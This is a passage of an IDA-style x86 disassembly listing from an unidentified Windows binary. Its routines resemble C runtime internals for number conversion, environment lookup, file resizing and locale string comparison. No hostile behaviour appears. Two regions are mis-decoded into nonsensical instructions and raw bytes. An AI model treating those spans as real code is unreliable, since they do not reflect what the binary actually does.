		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4197BE
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4197BE
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_419760
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4197BE
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_419F92
		mov	eax, [ebp+arg_14]


loc_419FDF:				; CODE XREF: sub_419DB1+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41A01C


loc_419FEC:				; CODE XREF: sub_419DB1+248j
		cmp	eax, ecx
		jb	short loc_419FFF
		cmp	byte ptr [eax],	39h
		jnz	short loc_419FFB
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_419FEC
; ---------------------------------------------------------------------------


loc_419FFB:				; CODE XREF: sub_419DB1+242j
		cmp	eax, ecx
		jnb	short loc_41A003


loc_419FFF:				; CODE XREF: sub_419DB1+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41A003:				; CODE XREF: sub_419DB1+24Cj
		inc	byte ptr [eax]


loc_41A005:				; CODE XREF: sub_419DB1+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41A014:				; CODE XREF: sub_419DB1+F0j
		mov	eax, [ebp+var_4]


loc_41A017:				; CODE XREF: sub_419DB1+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A01C:				; CODE XREF: sub_419DB1+239j
					; sub_419DB1+275j
		cmp	eax, ecx
		jb	short loc_41A02C
		cmp	byte ptr [eax],	30h
		jnz	short loc_41A028
		dec	eax
		jmp	short loc_41A01C
; ---------------------------------------------------------------------------


loc_41A028:				; CODE XREF: sub_419DB1+272j
		cmp	eax, ecx
		jnb	short loc_41A005


loc_41A02C:				; CODE XREF: sub_419DB1+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41A03B:				; CODE XREF: sub_419DB1+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41A017
sub_419DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A044	proc near		; CODE XREF: sub_4155EC+33EDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41A0AB
		dec	eax
		dec	eax
		jz	short loc_41A09C
		sub	eax, 4
		jz	short loc_41A09C
		sub	eax, 3
		jz	short loc_41A09C
		sub	eax, 4
		jz	short loc_41A08F
		sub	eax, 6
		jz	short loc_41A082
		dec	eax
		jz	short loc_41A075
		or	eax, 0FFFFFFFFh
		jmp	loc_41A16D
; ---------------------------------------------------------------------------


loc_41A075:				; CODE XREF: sub_41A044+27j
		mov	esi, ds:dword_45FB1C
		mov	eax, offset dword_45FB1C
		jmp	short loc_41A0B6
; ---------------------------------------------------------------------------


loc_41A082:				; CODE XREF: sub_41A044+24j
		mov	esi, ds:dword_45FB18
		mov	eax, offset dword_45FB18
		jmp	short loc_41A0B6
; ---------------------------------------------------------------------------


loc_41A08F:				; CODE XREF: sub_41A044+1Fj
		mov	esi, ds:dword_45FB20
		mov	eax, offset dword_45FB20
		jmp	short loc_41A0B6
; ---------------------------------------------------------------------------


loc_41A09C:				; CODE XREF: sub_41A044+10j
					; sub_41A044+15j ...
		push	edi
		call	sub_41A171
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41A0B6
; ---------------------------------------------------------------------------


loc_41A0AB:				; CODE XREF: sub_41A044+Cj
		mov	esi, ds:dword_45FB14
		mov	eax, offset dword_45FB14


loc_41A0B6:				; CODE XREF: sub_41A044+3Cj
					; sub_41A044+49j ...
		cmp	esi, 1
		jnz	short loc_41A0C2
		xor	eax, eax
		jmp	loc_41A16D
; ---------------------------------------------------------------------------


loc_41A0C2:				; CODE XREF: sub_41A044+75j
		test	esi, esi
		jnz	short loc_41A0CD
		push	3
		call	sub_4125D8


loc_41A0CD:				; CODE XREF: sub_41A044+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41A0DF
		cmp	edi, 0Bh
		jz	short loc_41A0DF
		cmp	edi, 4
		jnz	short loc_41A105


loc_41A0DF:				; CODE XREF: sub_41A044+8Fj
					; sub_41A044+94j
		mov	ebx, ds:dword_45F8F4
		and	ds:dword_45F8F4, 0
		cmp	edi, ecx
		jnz	short loc_41A134
		mov	edx, ds:dword_42E7EC
		mov	ds:dword_42E7EC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41A108
; ---------------------------------------------------------------------------


loc_41A105:				; CODE XREF: sub_41A044+99j
		mov	ebx, [ebp+arg_0]


loc_41A108:				; CODE XREF: sub_41A044+BFj
		cmp	edi, ecx
		jnz	short loc_41A134
		mov	eax, ds:dword_42E7E0
		mov	ecx, ds:dword_42E7E4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41A13B
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:42E770h[edx*4]


loc_41A129:				; CODE XREF: sub_41A044+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41A129
		jmp	short loc_41A13B
; ---------------------------------------------------------------------------


loc_41A134:				; CODE XREF: sub_41A044+AAj
					; sub_41A044+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41A149


loc_41A13B:				; CODE XREF: sub_41A044+D7j
					; sub_41A044+EEj
		push	ds:dword_42E7EC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41A157
; ---------------------------------------------------------------------------


loc_41A149:				; CODE XREF: sub_41A044+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41A157
		cmp	edi, 4
		jnz	short loc_41A16A


loc_41A157:				; CODE XREF: sub_41A044+103j
					; sub_41A044+10Cj
		cmp	edi, 8
		mov	ds:dword_45F8F4, ebx
		jnz	short loc_41A16A
		mov	eax, [ebp+arg_0]
		mov	ds:dword_42E7EC, eax


loc_41A16A:				; CODE XREF: sub_41A044+111j
					; sub_41A044+11Cj
		xor	eax, eax
		pop	ebx


loc_41A16D:				; CODE XREF: sub_41A044+2Cj
					; sub_41A044+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A044	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A171	proc near		; CODE XREF: sub_41A044+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42E7E8
		cmp	ds:dword_42E76C, edx
		push	esi
		mov	eax, offset dword_42E768
		jz	short loc_41A19F
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42E768h[esi*4]


loc_41A193:				; CODE XREF: sub_41A171+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41A19F
		cmp	[eax+4], edx
		jnz	short loc_41A193


loc_41A19F:				; CODE XREF: sub_41A171+16j
					; sub_41A171+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42E768h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41A1B3
		cmp	[eax+4], edx
		jz	short locret_41A1B5


loc_41A1B3:				; CODE XREF: sub_41A171+3Bj
		xor	eax, eax

locret_41A1B5:				; CODE XREF: sub_41A171+40j
		retn
sub_41A171	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1B6	proc near		; CODE XREF: seg000:00418BA5p

arg_0		= dword	ptr  4

		cmp	ds:dword_460EA8, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_45F86C
		push	edi
		jz	short loc_41A22D
		test	esi, esi
		jnz	short loc_41A1E7
		cmp	ds:dword_45F874, esi
		jz	short loc_41A22D
		call	sub_41A654
		test	eax, eax
		jnz	short loc_41A22D
		mov	esi, ds:dword_45F86C
		test	esi, esi
		jz	short loc_41A22D


loc_41A1E7:				; CODE XREF: sub_41A1B6+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41A22D
		push	ebx
		call	sub_410B60
		pop	ecx
		mov	edi, eax


loc_41A1F8:				; CODE XREF: sub_41A1B6+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41A22D
		push	eax
		call	sub_410B60
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41A220
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41A220
		push	edi
		push	ebx
		push	eax
		call	sub_41A615
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41A225


loc_41A220:				; CODE XREF: sub_41A1B6+51j
					; sub_41A1B6+59j
		add	esi, 4
		jmp	short loc_41A1F8
; ---------------------------------------------------------------------------


loc_41A225:				; CODE XREF: sub_41A1B6+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41A22F
; ---------------------------------------------------------------------------


loc_41A22D:				; CODE XREF: sub_41A1B6+10j
					; sub_41A1B6+1Cj ...
		xor	eax, eax


loc_41A22F:				; CODE XREF: sub_41A1B6+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A1B6	endp

; ---------------------------------------------------------------------------


loc_41A233:				; CODE XREF: sub_4192E6+271p
		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_410BE0
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_460C60
		jnb	loc_41A368
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_460B60[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41A368
		push	1
		push	esi
		push	ebx
		call	sub_4169A2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_41A372
		push	2
		push	esi
		push	ebx
		call	sub_4169A2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A372
		push	edi
		mov	edi, [ebp+0Ch]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A315
		push	1000h
		lea	eax, [ebp-1000h]
		push	esi
		push	eax
		call	sub_410590
		push	8000h
		push	ebx
		call	sub_41A6C2
		add	esp, 14h
		mov	[ebp+0Ch], eax


loc_41A2C9:				; CODE XREF: seg000:0041A2F0j
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41A2D4
		mov	eax, edi


loc_41A2D4:				; CODE XREF: seg000:0041A2D0j
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	ebx
		call	sub_417DAC
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A2F2
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A308
		jmp	short loc_41A2C9
; ---------------------------------------------------------------------------


loc_41A2F2:				; CODE XREF: seg000:0041A2E8j
		cmp	ds:dword_45F848, 5
		jnz	short loc_41A305
		mov	ds:dword_45F844, 0Dh


loc_41A305:				; CODE XREF: seg000:0041A2F9j
		or	esi, 0FFFFFFFFh


loc_41A308:				; CODE XREF: seg000:0041A2EEj
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_41A6C2
		pop	ecx
		pop	ecx
		jmp	short loc_41A355
; ---------------------------------------------------------------------------


loc_41A315:				; CODE XREF: seg000:0041A2A4j
		jge	short loc_41A355
		push	0
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_4169A2
		push	ebx
		call	sub_419252
		add	esp, 10h
		push	eax
		call	near ptr 3D0000h
		adc	ecx, [ebx+1BDEF7F0h]
		div	bh
		fimul	word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
		dd 1575FFFEh, 0F84405C7h, 0D0045h, 15FF0000h, 41C068h
		dd 45F848A3h
		db 0
; ---------------------------------------------------------------------------


loc_41A355:				; CODE XREF: seg000:0041A313j
					; seg000:loc_41A315j
		push	0
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_4169A2
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41A375
; ---------------------------------------------------------------------------


loc_41A368:				; CODE XREF: seg000:0041A24Dj
					; seg000:0041A269j
		mov	ds:dword_45F844, 9


loc_41A372:				; CODE XREF: seg000:0041A281j
					; seg000:0041A296j
		or	eax, 0FFFFFFFFh


loc_41A375:				; CODE XREF: seg000:0041A366j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A379	proc near		; CODE XREF: sub_419DB1+165p
					; sub_41A599+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41A579
		cmp	cx, 7FFFh
		jnb	loc_41A579
		cmp	dx, 0BFFDh
		ja	loc_41A579
		cmp	dx, 3FBFh
		ja	short loc_41A3E2
		xor	eax, eax
		jmp	short loc_41A41C
; ---------------------------------------------------------------------------


loc_41A3E2:				; CODE XREF: sub_41A379+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41A404
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41A404
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41A406
		cmp	[esi], eax
		jnz	short loc_41A406
		jmp	loc_41A573
; ---------------------------------------------------------------------------


loc_41A404:				; CODE XREF: sub_41A379+71j
					; sub_41A379+79j
		xor	eax, eax


loc_41A406:				; CODE XREF: sub_41A379+80j
					; sub_41A379+84j
		cmp	cx, ax
		jnz	short loc_41A429
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41A429
		cmp	[ebx+4], eax
		jnz	short loc_41A429
		cmp	[ebx], eax
		jnz	short loc_41A429


loc_41A41C:				; CODE XREF: sub_41A379+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41A594
; ---------------------------------------------------------------------------


loc_41A429:				; CODE XREF: sub_41A379+90j
					; sub_41A379+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41A439:				; CODE XREF: sub_41A379+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41A48D
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41A455:				; CODE XREF: sub_41A379+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41973F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41A480
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41A480:				; CODE XREF: sub_41A379+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41A455


loc_41A48D:				; CODE XREF: sub_41A379+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41A439
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41A4D0


loc_41A4AB:				; CODE XREF: sub_41A379+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41A4C9
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4197BE
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41A4AB


loc_41A4C9:				; CODE XREF: sub_41A379+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41A509


loc_41A4D0:				; CODE XREF: sub_41A379+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41A509
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41A4E9:				; CODE XREF: sub_41A379+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41A4F2
		inc	[ebp+var_14]


loc_41A4F2:				; CODE XREF: sub_41A379+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4197EC
		dec	ebx
		pop	ecx
		jnz	short loc_41A4E9
		cmp	[ebp+var_14], 0
		jz	short loc_41A509
		or	byte ptr [ebp+var_24], 1


loc_41A509:				; CODE XREF: sub_41A379+155j
					; sub_41A379+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41A520
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41A555


loc_41A520:				; CODE XREF: sub_41A379+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41A552
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41A54D
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41A547
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41A555
; ---------------------------------------------------------------------------


loc_41A547:				; CODE XREF: sub_41A379+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41A555
; ---------------------------------------------------------------------------


loc_41A54D:				; CODE XREF: sub_41A379+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41A555
; ---------------------------------------------------------------------------


loc_41A552:				; CODE XREF: sub_41A379+1ABj
		inc	[ebp+var_24+2]


loc_41A555:				; CODE XREF: sub_41A379+1A5j
					; sub_41A379+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41A579
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41A573:				; CODE XREF: sub_41A379+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41A594
; ---------------------------------------------------------------------------


loc_41A579:				; CODE XREF: sub_41A379+42j
					; sub_41A379+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41A594:				; CODE XREF: sub_41A379+ABj
					; sub_41A379+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A379	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A599	proc near		; CODE XREF: sub_4198E0+440p
					; sub_419DB1+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_42EC60
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41A612
		jge	short loc_41A5C1
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_42EDC0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41A5C1:				; CODE XREF: sub_41A599+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41A5CC
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41A5CC:				; CODE XREF: sub_41A599+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41A612
		push	esi
		push	edi


loc_41A5D3:				; CODE XREF: sub_41A599+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41A60B
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41A5FE
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41A5FE:				; CODE XREF: sub_41A599+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41A379
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41A60B:				; CODE XREF: sub_41A599+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41A5D3
		pop	edi
		pop	esi


loc_41A612:				; CODE XREF: sub_41A599+14j
					; sub_41A599+36j
		pop	ebx
		leave
		retn
sub_41A599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A615	proc near		; CODE XREF: sub_41A1B6+5Ep
					; sub_41AB3C+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41A622
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A622:				; CODE XREF: sub_41A615+7j
		push	ds:dword_460C64
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_460E84
		call	loc_41A738
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A64F
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A64F:				; CODE XREF: sub_41A615+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41A615	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A654	proc near		; CODE XREF: sub_41A1B6+1Ep
					; sub_41A9B5+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_45F874
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41A6B5
		mov	ebx, ds:dword_41C11C


loc_41A66D:				; CODE XREF: sub_41A654+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41A6BD
		push	ebp
		call	sub_410C0F
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41A6BD
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41A6BD
		push	edi
		push	[esp+18h+var_4]
		call	sub_41A9B5
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41A66D


loc_41A6B5:				; CODE XREF: sub_41A654+11j
		xor	eax, eax


loc_41A6B7:				; CODE XREF: sub_41A654+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41A6BD:				; CODE XREF: sub_41A654+29j
					; sub_41A654+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A6B7
sub_41A654	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6C2	proc near		; CODE XREF: seg000:0041A2BEp
					; seg000:0041A30Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_460C60
		jnb	short loc_41A729
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_460B60[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41A729
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41A702
		and	cl, 7Fh
		jmp	short loc_41A70F
; ---------------------------------------------------------------------------


loc_41A702:				; CODE XREF: sub_41A6C2+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41A71D
		or	cl, 80h


loc_41A70F:				; CODE XREF: sub_41A6C2+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A71D:				; CODE XREF: sub_41A6C2+48j
		mov	ds:dword_45F844, 16h
		jmp	short loc_41A733
; ---------------------------------------------------------------------------


loc_41A729:				; CODE XREF: sub_41A6C2+Bj
					; sub_41A6C2+27j
		mov	ds:dword_45F844, 9


loc_41A733:				; CODE XREF: sub_41A6C2+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41A6C2	endp

; ---------------------------------------------------------------------------


loc_41A738:				; CODE XREF: sub_41A615+27p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41CC00
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	ebx, ebx
		cmp	ds:dword_45FB2C, ebx
		push	1
		pop	edi
		jnz	short loc_41A7AB
		push	edi
		mov	eax, offset dword_41C850
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41C008	; CompareStringW
		test	eax, eax
		jz	short loc_41A788
		mov	ds:dword_45FB2C, edi
		jmp	short loc_41A7AB
; ---------------------------------------------------------------------------


loc_41A788:				; CODE XREF: seg000:0041A77Ej
		push	edi
		mov	eax, offset dword_42F3E4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41C00C	; CompareStringA
		test	eax, eax
		jz	loc_41A9A1
		mov	ds:dword_45FB2C, 2


loc_41A7AB:				; CODE XREF: seg000:0041A769j
					; seg000:0041A786j
		mov	esi, [ebp+14h]
		cmp	esi, ebx
		jle	short loc_41A7C2
		push	esi
		push	dword ptr [ebp+10h]
		call	sub_416DB8
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+14h], esi


loc_41A7C2:				; CODE XREF: seg000:0041A7B0j
		cmp	[ebp+1Ch], ebx
		jle	short loc_41A7D7
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		call	sub_416DB8	; CODE XREF: seg000:0041A847j
		pop	ecx
		pop	ecx
		mov	[ebp+1Ch], eax


loc_41A7D7:				; CODE XREF: seg000:0041A7C5j
		mov	eax, ds:dword_45FB2C
		cmp	eax, 2
		jnz	short loc_41A7FC
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C00C	; CompareStringA
		jmp	loc_41A9A3
; ---------------------------------------------------------------------------


loc_41A7FC:				; CODE XREF: seg000:0041A7DFj
		cmp	eax, edi
		jnz	loc_41A9A1
		cmp	[ebp+20h], ebx
		jnz	short loc_41A811
		mov	eax, ds:dword_45F8E0
		mov	[ebp+20h], eax


loc_41A811:				; CODE XREF: seg000:0041A807j
		cmp	esi, ebx
		jz	short loc_41A81E
		cmp	[ebp+1Ch], ebx
		jnz	loc_41A8B6


loc_41A81E:				; CODE XREF: seg000:0041A813j
		cmp	esi, [ebp+1Ch]
		jnz	short loc_41A82B


loc_41A823:				; CODE XREF: seg000:0041A874j
					; seg000:0041A8A5j
		push	2


loc_41A825:				; CODE XREF: seg000:0041A87Ej
		pop	eax
		jmp	loc_41A9A3
; ---------------------------------------------------------------------------


loc_41A82B:				; CODE XREF: seg000:0041A821j
		cmp	[ebp+1Ch], edi
		jle	short loc_41A837


loc_41A830:				; CODE XREF: seg000:0041A889j
					; seg000:0041A891j ...
		mov	eax, edi
		jmp	loc_41A9A3
; ---------------------------------------------------------------------------


loc_41A837:				; CODE XREF: seg000:0041A82Ej
		cmp	esi, edi
		jg	short loc_41A87C
		lea	eax, [ebp-3Ch]
		push	eax
		push	dword ptr [ebp+20h]
		call	near ptr 3D0000h
		jl	short near ptr loc_41A7CD+1
		ror	byte ptr [edi],	84h
		push	ecx
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_41A880
		cmp	dword ptr [ebp-3Ch], 2
		jb	short loc_41A87C
		lea	eax, [ebp-36h]
